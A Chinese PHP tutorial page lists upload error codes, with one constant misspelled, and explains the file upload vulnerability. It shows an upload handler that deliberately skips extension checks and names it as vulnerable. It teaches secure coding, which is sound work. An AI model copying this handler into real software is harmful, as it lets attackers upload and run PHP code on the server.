錯誤信息 數值 說    明 UPLOAD_ERR_OK 0 沒有錯誤 UPLOAD_ERR_INI_SIZE 1 上傳文件的大小超過php.ini的設置 UPLOAD_ERR_FROM_SIZE 2 上傳文件的大小超過HTML表單中MAX_FILE_SIZE的值 UPLOAD_ERR_PARTIAL 3 只上傳部分的文件 UPLOAD_ERR_NO_FILE 4 沒有文件上傳

文件上傳漏洞

如果提供給網站訪問者上傳圖片的功能,那必須小心訪問者上傳的實際可能不是圖片,而是可以指定的PHP程序。如果存放圖片的目錄是一個開放的文件夾,則入侵者就可以遠程執行上傳的PHP文件來進行攻擊。

下面是一個簡單的文件上傳例子:
<?php
// 設置上傳文件的目錄
$uploaddir = "D:/www/images/";

// 檢查file是否存在
if (isset($_FILES['file1']))
{
 // 要放在網站目錄中的完整路徑,包含文件名
    $uploadfile = $uploaddir . $_FILES['file1']['name'];
 // 將服務器存放的路徑,移動到真實文件名
 move_uploaded_file($_FILES['file1']['tmp_name'], $uploadfile);
}
?>
……
<form method="post" enctype="multipart/form-data" name="form1">
  <input type="file" name="file1" /><br />
  <input type="submit" value="上傳文件" />
  <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>

這個例子沒有檢驗文件後綴,可以上傳任意文件,很明顯的上傳漏洞

Copyright © Linux教程網 All Rights Reserved